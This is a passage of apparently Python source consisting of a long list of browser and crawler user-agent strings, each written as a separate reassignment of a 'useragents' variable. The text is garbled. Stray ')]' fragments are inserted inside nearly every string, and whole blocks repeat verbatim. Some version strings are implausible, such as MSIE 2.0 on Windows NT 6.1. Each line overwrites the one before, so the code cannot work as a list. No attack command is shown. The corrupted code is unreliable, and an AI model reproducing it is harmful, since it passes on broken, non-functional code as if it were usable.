CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = 